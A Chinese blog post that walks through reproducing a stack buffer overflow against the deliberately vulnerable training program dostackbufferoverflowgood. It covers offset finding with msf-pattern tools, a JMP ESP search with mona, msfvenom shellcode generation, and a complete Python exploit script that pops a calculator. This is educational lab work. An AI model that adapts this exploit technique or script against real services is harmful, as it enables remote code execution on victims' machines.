/1dreamGN/Blog

1dreamGN

缓冲区溢出攻击基础&漏洞复现

62
2024-07-11
缓冲区溢出攻击基础&漏洞复现

0x01 漏洞介绍

缓冲区溢出的原因是程序中没有仔细检查用户输入的参数,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。简单可以理解为程序固定了一个用户可输入的长度,用户输入超过这个长度程序就因为吃得太撑了爆炸了。

0x02 准备工具

1、Windows系统

2、OD

3、IDA

4、Immunity Debuggeer

5、Mona

6、Kali

7、存在缓冲区漏洞的exe文件

(https://github.com/justinsteven/dostackbufferoverflowgood)

0x03 开始复现

看看这玩意什么样子

打开,好像是监听连接啥的,先扔到IDA看一看是干啥的。

打开了有点看不懂,这是干啥的?其实左边目录就是程序运行步骤,直接F5干进去进入主程序。

看着像一个socket连接,不管了,直接扔给ChatGPT,让这玩意解释下。

哦?那就开始找这个端口。

找到端口了,端口为31337,看来是打开软件在本地起一个监听服务,那就用kali虚拟机链接下,先ipconfig获取本地ip,再用nc进行连接。

连上来了,我们的目的是找缓冲区溢出漏洞,先整一堆字符看软件会不会挂。

看来是挂了,不知道是不是这个漏洞导致的,返回IDA接着往下看。点击左边的_handleConnection,然后F5查看代码。

找到了,缓冲区大小为58623。

启动OD,加载程序,步进到程序运行的地方,我们在kali中开始nc并发送一堆A,然后程序抛出异常,且EBP和EIP已经全部变成了41414141,那么很显然这个时候通过缓冲区溢出EBP和EIP已经成功被我们使用AAAA给覆盖了, "41414141" 是十六进制表示的 ASCII 字符串 "AAAA"。也就是说我们可以通过缓冲区溢出来覆盖栈上的数据。那这样就确定为是漏洞了。

通俗来讲就是在缓冲区溢出攻击中,当输入的数据超出了缓冲区的容量并覆盖了其他变量或数据时,如果覆盖的内容正好是指针或地址,那么这个指针或地址将被误解为下一条将要执行的指令地址。因此,当输入的内容为 "AAAAAAAA" 或 "41414141" 时,它们可以被错误地解释为存储在 EIP(Extended Instruction Pointer)中的地址值,导致执行流程被劫持到这个地址处执行,可能触发崩溃或执行意外的代码。

成功溢出,但是那一大段A都是Ctrl+C Ctrl+V扔进去的,并不记得一共有多少,所以等下只能让kali来找偏移量了。

那么接下来使用Immunity Debugger配合Mona来分析然后构造shellcode

运行程序,并在Immunity Debugger中把程序拉进去。记得要安装Mona插件,网上有教程。

使用!mona modules看下这程序存不存在保护机制。

主程序实际上只开启了SafeSeh,先不用管,先计算一下偏移量。

Kali msf-pattern_create -l 20000 

生成20000个规律字符,然后发送给服务端的指定端口,你可以使用nc发送也可以使用socket连接并发送数据。

生成成功。

debug程序让它跑起来,然后再输入进去。

输入刚才生成的脏数据,程序现在已经挂了回到ID查看EIP。

EIP为39654138,接下来用kali计算。

msf-pattern_offset -l 20000 -q 39654138

偏移量为146。

原理就是先生成20000个字符用于发送至服务端,然后根据溢出时EIP被覆盖的数据用来计算一共被覆盖了多少位,显示结果为146,说明覆盖EIP地址的是第146个字符后面的字符,接下来就可以控制EIP的地址,需要让他跳转到我们的shellcode。

那么在此之前,我想用字符去确认一下偏移量是否准确,我们使用146个A,然后再使用4个B,看下EIP被覆盖的情况。

生成146个A,再添加四个B。

程序异常,EIP被覆盖为了42424242,也就是对应BBBB。

偏移量计算准确,开始尝试做构造shellcode前的一个环节之一,也就是查找坏字符,虽然我们输入的内容会被转换为16进制的值,但是也并非它能接受任何值,比如说通用的坏字符例如“\x00”。

然后我们寻找JMP ESP,查看可以让我们插入shellcode的地方。

直接!mona jmp -r esp就可以,结果如下。

0x080414c3 : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\Users\MHJ\Downloads\dostackbufferoverflowgood-master\dostackbufferoverflowgood.exe), 0x8000

0x080416bf : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\Users\MHJ\Downloads\dostackbufferoverflowgood-master\dostackbufferoverflowgood.exe), 0x8000

那么至于可不可用,就需要构造shellcode来试试其可用性了。

使用

msfvenom -p windows/exec CMD="C:\windows\system32\calc.exe" -b '\x00\x0d' -f python -v code

那么分析完毕后我们使用win10 x64环境,使用kali生成x64的shellcode。

生成弹窗计算器并且排除掉坏字符。

那么生成shellcode后,我们就需要构造payload了。

Payload=字符填充+JMP ESP+nop+shellcode

字符填充也就是偏移量的146个A,JMP ESP就是我们!mona jmp -r esp后显示的两个可以JMP ESP的地址,但是栈是先进后出的顺序,所以0x080414c3就需要反着来,就要写成\c3\14\04\08也就是\xc3\x14\x04\x08,0x080416bf就需要写成\bf\16\04\08也就是\xbf\x16\x04\x08。

那么python代码如下:

import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('172.30.193.125',31337))

tc="A"*146eip="\xc3\x14\x04\x08"nop="\x90"*16

code =  b""code += b"\xdb\xd4\xd9\x74\x24\xf4\xb8\xab\xd9\x08\xbc\x5b"code += b"\x29\xc9\xb1\x36\x31\x43\x18\x83\xeb\xfc\x03\x43"code += b"\xbf\x3b\xfd\x40\x57\x39\xfe\xb8\xa7\x5e\x76\x5d"code += b"\x96\x5e\xec\x15\x88\x6e\x66\x7b\x24\x04\x2a\x68"code += b"\xbf\x68\xe3\x9f\x08\xc6\xd5\xae\x89\x7b\x25\xb0"code += b"\x09\x86\x7a\x12\x30\x49\x8f\x53\x75\xb4\x62\x01"code += b"\x2e\xb2\xd1\xb6\x5b\x8e\xe9\x3d\x17\x1e\x6a\xa1"code += b"\xef\x21\x5b\x74\x64\x78\x7b\x76\xa9\xf0\x32\x60"code += b"\xae\x3d\x8c\x1b\x04\xc9\x0f\xca\x55\x32\xa3\x33"code += b"\x5a\xc1\xbd\x74\x5c\x3a\xc8\x8c\x9f\xc7\xcb\x4a"code += b"\xe2\x13\x59\x49\x44\xd7\xf9\xb5\x75\x34\x9f\x3e"code += b"\x79\xf1\xeb\x19\x9d\x04\x3f\x12\x99\x8d\xbe\xf5"code += b"\x28\xd5\xe4\xd1\x71\x8d\x85\x40\xdf\x60\xb9\x93"code += b"\x80\xdd\x1f\xdf\x2c\x09\x12\x82\x3a\xcc\xa0\xb8"code += b"\x08\xce\xba\xc2\x3c\xa7\x8b\x49\xd3\xb0\x13\x98"code += b"\x90\x4f\x5e\x81\xb0\xc7\x07\x53\x81\x85\xb7\x89"code += b"\xc5\xb3\x3b\x38\xb5\x47\x23\x49\xb0\x0c\xe3\xa1"code += b"\xc8\x1d\x86\xc5\x7f\x1d\x83\x85\x45\xbd\x5b\x63"code += b"\xd7\x59\xcb\x04\x54\xfe\x60\x92\xe9\x8a\xe3\x09"code += b"\x3e\x41\xb0\xb2\x21\xc9\x2b\x1b\xc4\x69\xc9\x63"



s.send(tc+eip+nop+code+'\r\n')s.recv(1024)

Kali运行。

python2 payload.py

成功弹出计算器。

0x04 引用文章

https://mp.weixin.qq.com/s/k7Dc-zfgP03MxYK4kkptww

https://zhuanlan.zhihu.com/p/387321917

https://developer.aliyun.com/article/1115336